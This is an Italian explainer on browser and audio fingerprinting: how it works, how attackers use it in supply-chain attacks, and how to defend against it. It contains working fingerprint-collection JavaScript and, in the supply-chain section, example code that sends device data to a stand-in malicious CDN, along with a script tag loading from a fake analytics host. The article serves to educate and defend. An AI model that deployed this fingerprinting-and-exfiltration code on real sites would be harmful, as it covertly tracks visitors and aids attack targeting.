Indice dei contenuti
- Come funziona il tracciamento convenzionale
- Cos’è il browser fingerprinting
- Una tecnica avanzata: l’audio fingerprinting
- Il supply chain attack che sfrutta il fingerprinting
- Cosa fare per inibire il fingerprinting
Negli ultimi anni, la crescente sofisticazione delle tecnologie di tracciamento ha sollevato nuove e preoccupanti sfide in termini di cyber security.
Il fingerprinting, spesso associato alla personalizzazione dell’esperienza utente, è oggi uno strumento potente anche nelle mani di cyber criminali. Diversamente dai cookie, non necessita di essere salvato sul dispositivo e consente un tracciamento persistente, quasi invisibile.
Quando utilizzato in un contesto di attacchi alla supply chain, può diventare un’arma insidiosa per compromettere infrastrutture e reti. In questo articolo approfondiremo cos’è il fingerprinting, come funziona, le sue varianti (come l’audio fingerprinting), il suo impiego malevolo negli attacchi alla supply chain, e infine vedremo come difendersi.
Come funziona il tracciamento convenzionale
Nel mondo digitale, il tracciamento degli utenti online rappresenta una delle tecniche fondamentali per personalizzare l’esperienza di navigazione, migliorare le strategie pubblicitarie e raccogliere dati per analisi comportamentali.
Si tratta di un’attività quotidiana per migliaia di aziende, dalle grandi piattaforme di e-commerce ai piccoli siti informativi.
Cookie: la forma più nota di tracciamento
Il cookie è lo strumento di tracciamento per eccellenza. Si tratta di un semplice file di testo che un sito web invia al browser dell’utente, il quale lo salva localmente sul dispositivo.
A ogni visita successiva, il browser rinvia il cookie al server, permettendo così al sito di riconoscere l’utente e ripristinare le preferenze, il carrello della spesa o la sessione di login.
Esistono diverse tipologie di cookie:
- Cookie di prima parte
Creati dal sito che l’utente sta visitando direttamente. Vengono usati per finalità funzionali (es. ricordare la lingua scelta). - Cookie di terze parti
Generati da domini diversi da quello visitato, tipicamente da reti pubblicitarie, servizi di analytics (come Google Analytics) o social media (es. i pulsanti “Like” di Facebook). Sono questi a essere maggiormente coinvolti nella profilazione.
Esempio pratico: cookie di tracciamento
Supponiamo che un utente visiti un sito di e-commerce e consulti delle scarpe sportive. Un cookie di terze parti, magari appartenente a una piattaforma pubblicitaria come DoubleClick, registra questa interazione.
Qualche ora dopo, navigando su un sito di notizie, l’utente visualizzerà un banner pubblicitario relativo proprio a quelle scarpe. Questo è il risultato del tracciamento cross-site, reso possibile dai cookie di terze parti.
Le limitazioni introdotte dal GDPR e dai browser
Il crescente uso dei cookie per scopi di profilazione commerciale, spesso senza il consenso esplicito dell’utente, ha generato preoccupazioni dal punto di vista della privacy. Il Regolamento Generale sulla Protezione dei Dati (GDPR), in vigore dal 2018, ha imposto nuove regole:
- Obbligo di informativa chiara e dettagliata sull’uso dei cookie.
- Richiesta del consenso esplicito per l’uso di cookie non essenziali (come quelli di marketing).
- Diritto all’oblio e alla revoca del consenso.
Per adeguarsi a queste normative, i siti web hanno introdotto i cosiddetti cookie banner, spesso invasivi, e meccanismi per la gestione granulare del consenso. Tuttavia, molte aziende hanno cercato metodi alternativi per aggirare queste restrizioni e mantenere alta la capacità di tracciamento.
Parallelamente, i principali browser si sono mossi per tutelare gli utenti:
- Safari (Apple) ha introdotto l’Intelligent Tracking Prevention (ITP), che limita fortemente i cookie di terze parti e riduce la durata di conservazione dei cookie di prima parte.
- Firefox (Mozilla) ha adottato l’Enhanced Tracking Protection (ETP), che blocca automaticamente molti script di tracciamento noti.
- Anche Chrome (Google), pur dipendendo economicamente dalla pubblicità, ha annunciato la progressiva eliminazione dei cookie di terze parti, puntando su nuove tecnologie come il Privacy Sandbox.
Tecniche alternative: oltre i cookie
Con l’inefficacia crescente dei cookie di terze parti, i tracciatori hanno sviluppato metodi più sofisticati e meno visibiliper mantenere la capacità di identificare gli utenti nel tempo. Tra queste tecniche spiccano:
- LocalStorage e sessionStorage
Meccanismi del browser che permettono di salvare dati persistenti, più capienti e duraturi rispetto ai cookie. - Etags e cache abuse
Metodi che sfruttano il comportamento della cache HTTP per identificare gli utenti. - CNAME cloaking
Tecnica che maschera i tracker di terze parti facendoli apparire come domini di prima parte.
Ma soprattutto, emerge una tecnica in grado di superare tutte queste limitazioni: il fingerprinting.
Perché il tracciamento convenzionale sta morendo?
In sintesi, il modello classico basato sui cookie è sempre meno efficace, sia per motivi normativi che tecnologici.
L’ecosistema del web si sta muovendo verso una maggiore attenzione alla privacy, ma questo non significa la fine del tracciamento. Piuttosto, sta spingendo i tracciatori a evolversi, abbandonando tecniche esplicite e facilmente controllabili in favore di metodi invisibili e persistenti, come il browser fingerprinting e l’audio fingerprinting.
Ed è in questo scenario, fatto di sorveglianza silenziosa e tracciamenti distribuiti, che si inserisce il fingerprinting come arma perfetta anche per i cyber criminali, specialmente negli attacchi alle supply chain.
Cos’è il browser fingerprinting
Il browser fingerprinting è una tecnica di identificazione degli utenti che sfrutta le caratteristiche uniche del dispositivo e del browser per generare un profilo persistente.
A differenza dei cookie, che salvano dati localmente e possono essere cancellati o bloccati, il fingerprint viene calcolato dinamicamente ogni volta che l’utente visita un sito. Questo lo rende uno strumento particolarmente potente e difficile da contrastare.
Un’identità senza cookie
Il principio alla base del fingerprinting è semplice: ogni dispositivo ha una configurazione leggermente diversa. Queste differenze, anche se minime, sono sufficienti per creare un’identità unica. Le variabili analizzate possono includere:
- User-Agent
La stringa che descrive il browser, la sua versione e il sistema operativo. - Lingua e fuso orario
Impostazioni regionali che variano da utente a utente. - Risoluzione e dimensioni dello schermo
Specifiche legate all’hardware. - Font installati
Ogni sistema ha una combinazione diversa di caratteri. - Plugin e estensioni attive
Possono essere rilevati in vari modi. - Sistema operativo e architettura hardware.
- Capacità grafiche rilevate via WebGL.
- Canvas e AudioContext API
Utilizzate per ottenere segnali unici.
Il fingerprint viene costruito combinando tutte queste informazioni in un’unica stringa hash, che rappresenta l’identità digitale del dispositivo.
Esempio pratico: fingerprint con JavaScript
Ecco un semplice esempio di codice che illustra come raccogliere alcune informazioni utili alla costruzione di un fingerprint:
function getFingerprintData() {
const fingerprint = {
userAgent: navigator.userAgent,
language: navigator.language,
timeZone: Intl.DateTimeFormat().resolvedOptions().timeZone,
screen: {
width: screen.width,
height: screen.height,
colorDepth: screen.colorDepth
},
plugins: [...navigator.plugins].map(p => p.name),
canvasHash: getCanvasFingerprint(),
webglVendor: getWebGLVendor()
};
return fingerprint;
}
function getCanvasFingerprint() {
const canvas = document.createElement('canvas');
const ctx = canvas.getContext('2d');
ctx.textBaseline = 'top';
ctx.font = '16px Arial';
ctx.fillStyle = '#f60';
ctx.fillRect(125, 1, 62, 20);
ctx.fillStyle = '#069';
ctx.fillText('browser fingerprinting', 2, 15);
return canvas.toDataURL(); // codifica immagine in base64
}
function getWebGLVendor() {
const canvas = document.createElement('canvas');
const gl = canvas.getContext('webgl');
const debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
return gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL);
}
console.log(getFingerprintData());
Questo script raccoglie una combinazione di parametri unici come il canvas rendering (tramite Canvas API) e il renderer WebGL, che spesso variano anche tra due dispositivi apparentemente identici.
Il risultato è una fingerprint visiva e grafica che si somma agli altri identificatori tecnici.
Il ruolo di Panopticlick
Uno degli strumenti più noti per valutare l’unicità del proprio browser è Panopticlick dell’Electronic Frontier Foundation.
Questo strumento mostra esattamente quanto sei tracciabile in base al tuo fingerprint, indicando ad esempio:
- Il grado di unicità del tuo browser rispetto a milioni di altri.
- Quali tecnologie e plugin ti rendono identificabile.
- Se il tuo browser protegge contro i principali tracciamenti noti.
Molti utenti rimangono sorpresi nel constatare che la loro configurazione, pur non avendo nulla di “speciale”, è comunque unica su milioni. È qui che il fingerprinting mostra tutta la sua forza: non serve che ogni parametro sia unico, basta che la loro combinazione lo sia.
Fingerprinting in scenari reali
Immagina due utenti che visitano lo stesso sito web, senza login, senza cookie, magari anche in modalità incognito. Se uno dei due ha una GPU NVIDIA e l’altro una AMD, risoluzioni diverse e set di font differenti (anche solo per la presenza del pacchetto Office), il sito può identificarli in modo distinto e costante nel tempo.
In contesti di cyber attacchi, un fingerprint così costruito può servire a:
- Monitorare silenziosamente le visite di utenti aziendali.
- Verificare l’identità tecnica prima di inviare un payload malevolo.
- Associare attività sospette a un dispositivo anche se cambia IP.
Una fingerprint è davvero stabile?
Sì e no. Alcuni parametri possono variare (ad esempio se l’utente aggiorna il browser o cambia schermo), ma altri restano stabili nel tempo.
Inoltre, i sistemi più sofisticati adottano tecniche di “fuzzy matching” che consentono di identificare lo stesso utente anche con piccole variazioni nella fingerprint.

Una tecnica avanzata: l’audio fingerprinting
Nel vasto panorama delle tecniche di fingerprinting, l’audio fingerprinting rappresenta una forma particolarmente subdola e sofisticata di identificazione.
Questa tecnica sfrutta le capacità del browser di generare e processare suoni, misurando con estrema precisione le variazioni nella riproduzione audio tra un dispositivo e l’altro.
Anche se due computer utilizzano lo stesso browser, lo stesso sistema operativo e la stessa configurazione apparente, le differenze microscopiche nell’hardware, nella CPU, nei driver o nei DAC audio possono generare risultati differenti e unici.
Come funziona tecnicamente
L’audio fingerprinting si basa sull’AudioContext API, una specifica parte delle Web Audio API offerte dai browser moderni. Questa API consente ai siti web di generare, manipolare e analizzare segnali audio direttamente all’interno del browser, senza la necessità di riprodurre suoni percepibili dall’utente.
La tecnica prevede tre fasi:
- Generazione del suono
Si crea un segnale sonoro sintetico (solitamente un’onda sinusoidale). - Processamento
Il segnale passa attraverso una catena di filtri audio (come oscillator, gain, analyser, ecc.). - Analisi del risultato
Il browser raccoglie informazioni numeriche derivate dal suono elaborato (come spettro di frequenza, ampiezza, ecc.).
Piccole variazioni dovute all’hardware o al software modificano i dati risultanti, e questa differenza diventa la base per costruire l’audio fingerprint.
Esempio di codice JavaScript per fingerprint audio
async function getAudioFingerprint() {
const context = new (window.OfflineAudioContext || window.webkitOfflineAudioContext)(1, 44100, 44100);
const oscillator = context.createOscillator();
oscillator.type = 'triangle';
oscillator.frequency.setValueAtTime(10000, context.currentTime); // 10 kHz
const compressor = context.createDynamicsCompressor();
compressor.threshold.setValueAtTime(-50, context.currentTime);
compressor.knee.setValueAtTime(40, context.currentTime);
compressor.ratio.setValueAtTime(12, context.currentTime);
compressor.attack.setValueAtTime(0, context.currentTime);
compressor.release.setValueAtTime(0.25, context.currentTime);
oscillator.connect(compressor);
compressor.connect(context.destination);
oscillator.start(0);
context.startRendering();
const renderedBuffer = await new Promise(resolve => {
context.oncomplete = event => resolve(event.renderedBuffer);
});
const output = renderedBuffer.getChannelData(0); // dati audio grezzi
// Calcolo un hash semplificato sommando i valori campionati
let hash = 0;
for (let i = 0; i < output.length; i++) {
hash += Math.abs(output[i]);
}
return hash.toFixed(4);
}
getAudioFingerprint().then(fp => {
console.log("Audio Fingerprint:", fp);
});
Questo script genera un suono a 10 kHz e lo elabora attraverso un compressore dinamico. Alla fine, misura il contenuto del buffer audio generato. Il valore ottenuto è estremamente sensibile alle caratteristiche del dispositivo, anche in presenza di differenze impercettibili all’orecchio umano.
Un’identità sonora silenziosa
La vera forza (e insidiosità) dell’audio fingerprinting è che tutto avviene in maniera completamente trasparente per l’utente:
- Nessun suono viene riprodotto (poiché viene elaborato offline).
- Nessun avviso viene mostrato dal browser.
- Nessuna voce compare nelle impostazioni di privacy o nei cookie.
In altre parole, si tratta di un tracciamento invisibile, che può aggirare le barriere normalmente imposte dai browser moderni o dalle estensioni di protezione della privacy.
Perché è così efficace
Questa tecnica è così potente perché:
- Ogni combinazione di hardware e software (driver, schede audio, CPU, sistema operativo) produce una firma leggermente diversa.
- Anche due dispositivi della stessa marca e modello possono restituire fingerprint audio diversi, a causa di differenze nei componenti, firmware o aggiornamenti di sistema.
- È estremamente resistente ai blocchi: l’utente medio non può intervenire facilmente per impedire la raccolta di questi dati senza disattivare del tutto le Web Audio API, con effetti collaterali sull’esperienza web.
Uso malevolo dell’audio fingerprinting
Oltre all’uso da parte di piattaforme pubblicitarie per profilare gli utenti, l’audio fingerprinting è oggi sfruttato da attori malevoli per raffinare le proprie strategie di attacco. Alcuni possibili scenari:
- Individuazione di target all’interno di reti aziendali
Un attaccante potrebbe raccogliere fingerprint audio per capire se il sistema appartiene a una rete di test, un dispositivo mobile o una workstation ad alto valore. - Esecuzione mirata di exploit
Sapendo con precisione l’hardware audio e le librerie installate, si può scegliere un payload specifico per aumentare la probabilità di esecuzione. - Persistenza del tracciamento cross-site
Anche cambiando IP, VPN o eliminando i cookie, l’audio fingerprint resta coerente, fungendo da segnale unico e duraturo.
Proteggersi: è possibile?
Difendersi dall’audio fingerprinting è particolarmente difficile. Le principali strategie includono:
- Disattivare le Web Audio API tramite configurazioni avanzate del browser (es. about:config in Firefox), ma ciò può rompere la funzionalità di molti siti.
- Utilizzare browser specializzati come Tor Browser, che uniforma o disattiva alcune API per ridurre l’unicità.
- Estensioni come CanvasBlocker possono interferire con l’accesso a queste API, ma l’efficacia varia a seconda della tecnica usata.
- Isolare l’ambiente di navigazione usando sandbox, browser virtualizzati o sistemi live non persistenti.
Perché il fingerprinting è così pervasivo?
Negli ultimi anni, il fingerprinting è diventato uno degli strumenti di tracciamento più efficaci, silenziosi e pervasivi a disposizione sia di attori legittimi (pubblicitari, analisti di sicurezza) sia di cyber criminali.
A differenza dei metodi convenzionali come i cookie, che lasciano tracce evidenti e possono essere gestiti con relativa facilità dall’utente, il fingerprinting non ha bisogno di scrivere nulla sul dispositivo.
È un metodo passivo, che si basa esclusivamente sulla lettura delle informazioni offerte dal browser e dal sistema operativo.
Vediamo in dettaglio le ragioni principali della sua diffusione.
1. Persistenza: una tracciabilità che resiste al tempo
Uno dei vantaggi più significativi del finger printing è la persistenza dell’identificatore generato. Non essendo legato a un file salvato nel dispositivo, come un cookie, non può essere cancellato manualmente. Anche se l’utente:
- Svuota la cache,
- Cancella la cronologia,
- Passa alla modalità incognito,
- Cambia rete Wi-Fi o VPN,
la fingerprint continuerà a essere ricostruita e, nella maggior parte dei casi, riconosciuta come appartenente allo stesso utente.
Esempio pratico
Considera un sito web che ogni volta che riceve una visita, esegue una funzione come questa:
async function generateFingerprint() {
const userAgent = navigator.userAgent;
const timeZone = Intl.DateTimeFormat().resolvedOptions().timeZone;
const canvasData = getCanvasFingerprint();
const webglData = getWebGLFingerprint();
return hashFunction(userAgent + timeZone + canvasData + webglData);
}
Ogni elemento è ricavato dal browser stesso, non richiede alcun salvataggio locale e produce sempre lo stesso hash, anche in incognito.
2. Invisibilità: il tracciamento che non si vede
Il fingerprinting è silenzioso. L’utente non riceve notifiche, popup di consenso o avvisi nel pannello dei cookie.
Non c’è nulla da accettare o da rifiutare. E poiché si tratta di interazioni legittime con le API del browser, non viene bloccato automaticamente da sistemi di protezione standard.
In sostanza:
- Il fingerprint non compare nel pannello “Privacy e sicurezza” del browser.
- Non viene registrato nei report della maggior parte degli ad-blocker.
- È indistinguibile da codice JavaScript normale.
Analogia
Se i cookie sono come una targa attaccata all’auto (visibile e rimovibile), il fingerprint è come l’impronta lasciata dagli pneumatici: non è evidente, ma chi sa dove guardare può seguirti ovunque.
3. Granularità: un’identità costruita in modo estremamente dettagliato
Il fingerprint può essere arricchito con moltissimi parametri, alcuni dei quali sorprendenti. Ad esempio:
- Il browser supporta WebAssembly?
- Quante CPU virtuali sono presenti?
- Che tipo di motion sensor è integrato (su mobile)?
- Qual è la resa del canvas grafico in 2D?
- Che risposte fornisce la API Battery?
Tutti questi elementi concorrono alla creazione di una fingerprint molto più precisa di quanto si pensi. Inoltre, possono essere correlati a dati comportamentali:
- Come si muove il mouse?
- Quanto tempo si rimane su una pagina?
- Quali link vengono cliccati per primi?
In questo modo si crea un profilo multidimensionale, difficile da imitare anche per un utente esperto.
Esempio: fingerprint combinato
function getDetailedFingerprint() {
return {
platform: navigator.platform,
deviceMemory: navigator.deviceMemory,
cpuCores: navigator.hardwareConcurrency,
canvas: getCanvasFingerprint(),
languages: navigator.languages.join(", "),
touchSupport: 'ontouchstart' in window,
webdriver: navigator.webdriver,
// ... altri dati ancora
};
}
Con decine di questi parametri, anche due computer identici possono restituire fingerprint diverse per microdifferenze nella GPU, nei font installati, nella versione del sistema operativo.
4. Resistenza agli ad-blocker: invisibile anche agli strumenti di protezione
Molti fingerprinters moderni sono progettati per bypassare le estensioni per la privacy, come uBlock Origin, Ghostery, Privacy Badger, ecc. Questo perché:
- Non iniettano codice esterno (es. script traccianti noti).
- Si basano su API native del browser.
- Spesso sono integrati direttamente nel codice dell’applicazione, non in librerie di terze parti.
Anche quando le estensioni bloccano script noti, il fingerprint può essere calcolato lato client in tempo reale, senza bisogno di risorse esterne.
Una minaccia distribuita e silenziosa
La combinazione di queste caratteristiche ha creato un ecosistema di sorveglianza invisibile. Gli utenti vengono tracciati da più soggetti contemporaneamente: piattaforme pubblicitarie, provider di servizi web, società di analisi, ma anche attori malevoli che usano il fingerprinting per:
- Identificare utenti ad alto valore (es. amministratori di rete, CEO).
- Riconoscere dispositivi vulnerabili all’interno di una supply chain.
- Controllare se un target è già stato infettato o monitorato.
- Raccogliere dati comportamentali senza violare tecnicamente alcuna legge.
Il supply chain attack che sfrutta il fingerprinting
Gli attacchi alla supply chain sono diventati uno dei principali vettori di compromissione nel mondo della cyber security.
In un contesto dove software, librerie e componenti sono condivisi tra più attori, anche una singola vulnerabilità può avere conseguenze devastanti.
Il fingerprinting, in questo contesto, viene utilizzato da attori malevoli per:
- Identificare target deboli all’interno della catena (es. fornitori con misure di sicurezza minime)
- Raccogliere informazioni specifiche sui sistemi operativi, browser e configurazioni utilizzate dai partner della supply chain
- Creare profili dettagliati delle reti interne, aiutando nella fase di ricognizione degli attacchi (fase nota come “reconnaissance”)
- Indirizzare payload specifici in base al profilo raccolto, aumentando la probabilità di esecuzione con successo
Un esempio noto è l’attacco a SolarWinds, dove la compromissione di una libreria condivisa ha permesso la diffusione del malware su centinaia di organizzazioni.
Anche se in quel caso il fingerprinting non è stato il vettore primario, è facile immaginare come possa essere impiegato per facilitare attacchi simili, migliorando la precisione del targeting.
Inoltre, tramite CDN malevoli o script di terze parti infetti, è possibile iniettare codice di fingerprinting direttamente su pagine legittime, tracciando visitatori e partner commerciali.
Come viene usato il fingerprinting negli attacchi supply chain
Il fingerprinting non è l’attacco in sé, ma una tecnica di preparazione e precisione, che consente agli attaccanti di:
1. Identificare target vulnerabili nella catena
Gli attaccanti possono incorporare script di fingerprinting in pagine compromesse o distribuite via CDN malevoli per raccogliere informazioni dettagliate su chi accede:
fetch("https://maliciouscdn.com/fingerprint", {
method: "POST",
body: JSON.stringify({
os: navigator.platform,
browser: navigator.userAgent,
screen: {
w: screen.width,
h: screen.height
},
timeZone: Intl.DateTimeFormat().resolvedOptions().timeZone
})
});
In questo modo, possono scoprire se chi visita è un fornitore, un sistema legacy, un amministratore, ecc.
2. Mappare reti interne e ambienti aziendali
Raccolte abbastanza fingerprint, gli attaccanti riescono a costruire un profilo tecnico delle reti (OS, browser, estensioni, risoluzioni, WebGL vendor…) per:
- Comprendere la struttura di una rete aziendale.
- Capire quali sistemi usano versioni vulnerabili di software.
- Determinare se si trovano davanti a una sandbox, un honeypot o un ambiente reale.
3. Creare payload mirati e personalizzati
Con i dati raccolti, l’attaccante può adattare il payload malware alle caratteristiche dell’obiettivo, ad esempio:
- Un exploit per una versione specifica di Chrome su Windows 10.
- Un loader che funziona solo se rileva un determinato vendor GPU.
- Un malware che non si attiva su ambienti virtualizzati.
4. Superare i controlli di sicurezza
Il fingerprinting può essere usato anche per evitare la rilevazione:
- Se la fingerprint indica che si tratta di un analista malware, il codice può restare inattivo.
- Se il contesto tecnico non corrisponde a un obiettivo reale, l’attacco può essere abortito.
Caso reale: SolarWinds e beyond
Nell’attacco a SolarWinds, un attore APT compromette una libreria aggiornata da migliaia di aziende. Il malware è stato distribuito tramite un aggiornamento software legittimo, colpendo:
- Agenzie governative,
- Aziende Fortune 500,
- Infrastrutture critiche.
Anche se non fu il fingerprinting a innescare l’attacco, è facile immaginare come una profilazione preliminare degli ambienti tramite fingerprinting avrebbe potuto:
- Limitare l’infezione a target specifici.
- Rendere l’attacco più furtivo.
- Evitare sandbox e rilevazioni automatizzate.
Tecniche di diffusione: script e CDN infetti
Un altro vettore è l’infezione di script di terze parti (analytics, widget, chat, ecc.). Gli attaccanti possono iniettare codice di fingerprinting in risorse remote:
<script src="https://cdn.falsoservizio.com/analytics.js"></script>
Questo script può profilare chi visita la pagina e inviare i dati a server controllati dagli attaccanti, senza che l’azienda ospitante ne sia consapevole.
Cosa fare per inibire il fingerprinting
Difendersi dal fingerprinting: missione (quasi) impossibile?
Il fingerprinting è una tecnica difficile da bloccare proprio perché non lascia tracce visibili, non salva nulla in locale e sfrutta API legittime offerte dai browser.
Tuttavia, esistono strategie più o meno efficaci che consentono di mitigarne gli effetti, limitando l’unicità del proprio profilo e riducendo la probabilità di essere tracciati.
Vediamole nel dettaglio.
1. Utilizzare browser orientati alla privacy
Alcuni browser sono progettati per ridurre la tracciabilità dell’utente. I più efficaci includono:
- Tor Browser
Basato su Firefox, imposta una fingerprint uniforme per tutti gli utenti, impedendo tecniche di identificazione avanzate. Disabilita molte API, tra cui WebGL e AudioContext. - Brave
Blocca fingerprinting, tracciamento, script di terze parti e pubblicità invasive. - Firefox
Con le giuste configurazioni (es. privacy.resistFingerprinting a true), può ridurre l’unicità dell’utente.
Esempio: attivare protezione anti-fingerprinting in Firefox
Digita nella barra degli indirizzi:
about:config
Cerca privacy.resistFingerprinting e imposta il valore su true.
2. Estensioni anti-fingerprinting
Esistono diverse estensioni per browser che cercano di interferire con la raccolta dati usata dai fingerprinter:
- Privacy Badger (EFF)
Blocca tracker noti. - uBlock Origin
Potente ad-blocker che consente anche di bloccare script specifici. - CanvasBlocker
Blocca o modifica i dati forniti dall’API Canvas. - Trace, Chameleon, NoScript
Offrono protezioni mirate, mascherando o falsificando i dati raccolti.
Alcune estensioni possono causare problemi di compatibilità con siti complessi (es. piattaforme bancarie, e-commerce, web app).
3. Isolamento e containerizzazione
Il browser Firefox supporta una funzionalità chiamata Multi-Account Containers, che consente di isolare i dati di navigazione (cookie, fingerprint, cache) tra schede e sessioni.
Questa tecnica riduce il rischio che una fingerprint calcolata in una scheda venga correlata ad attività svolte in un’altra.
Esempio pratico:
- Un contenitore per l’email (es. Gmail)
- Uno per i social
- Uno per le ricerche
4. Controllo dell’esecuzione JavaScript
La maggior parte delle tecniche di fingerprinting si basa su JavaScript. Disabilitarne l’esecuzione riduce drasticamente la possibilità di essere tracciati.
- NoScript permette di autorizzare JavaScript solo su siti di fiducia.
- È possibile configurare il browser per bloccare l’esecuzione di script su tutti i domini di terze parti.
Molti siti diventano inutilizzabili senza JavaScript.
5. Uso di macchine virtuali e sandbox
Per utenti avanzati, l’uso di:
- Virtual Machine (VM) con snapshot
- Browser sandboxati (es. in ambienti Qubes OS o Whonix)
- Live OS (es. Tails, che si resetta a ogni avvio)
può isolare completamente l’ambiente, impedendo il fingerprinting persistente e offrendo protezione strutturalecontro la tracciabilità.
6. VPN e reti proxy
Una VPN o un proxy anonimo non blocca il fingerprinting, ma impedisce che i dati raccolti siano associati direttamente all’IP reale dell’utente.
È particolarmente utile quando il fingerprint viene combinato con altre tecniche (es. IP, geolocalizzazione, DNS leaks).
Esempio combinato
- Browser: Tor
- Estensioni: CanvasBlocker + uBlock
- Rete: VPN + DNS personalizzati
- Isolamento: containerizzazione o macchina virtuale
Risultato: fingerprint difficile da calcolare, IP mascherato, identità protetta.
Domande e risposte
- Cos’è il fingerprinting?
È una tecnica che raccoglie dati del browser e del dispositivo per creare un’identità unica. - In cosa si differenzia dai cookie?
Non richiede l’archiviazione di file e non può essere cancellato facilmente come i cookie. - Il fingerprinting è legale?
In molti casi sì, ma il suo utilizzo deve rispettare le normative sulla privacy. - Cos’è l’audio fingerprinting?
È una tecnica che usa le variazioni audio del dispositivo per identificare l’utente. - Come si collega il fingerprinting agli attacchi supply chain?
Aiuta gli attaccanti a identificare target deboli e raccogliere dati tecnici utili. - Quali browser proteggono dal fingerprinting?
Tor, Brave e Firefox con estensioni mirate. - Esistono estensioni per bloccarlo?
Sì, come Privacy Badger, CanvasBlocker, uBlock Origin e altri. - È possibile eliminarlo completamente?
No, ma si può ridurne l’efficacia uniformando o mascherando i dati. - Il fingerprinting è usato solo da cyber criminali?
No, è anche usato da aziende per analisi e pubblicità, ma può essere abusato. - Cosa significa fingerprinting nella cyber security?
Significa usare impronte digitali del sistema per fini di tracciamento o attacco.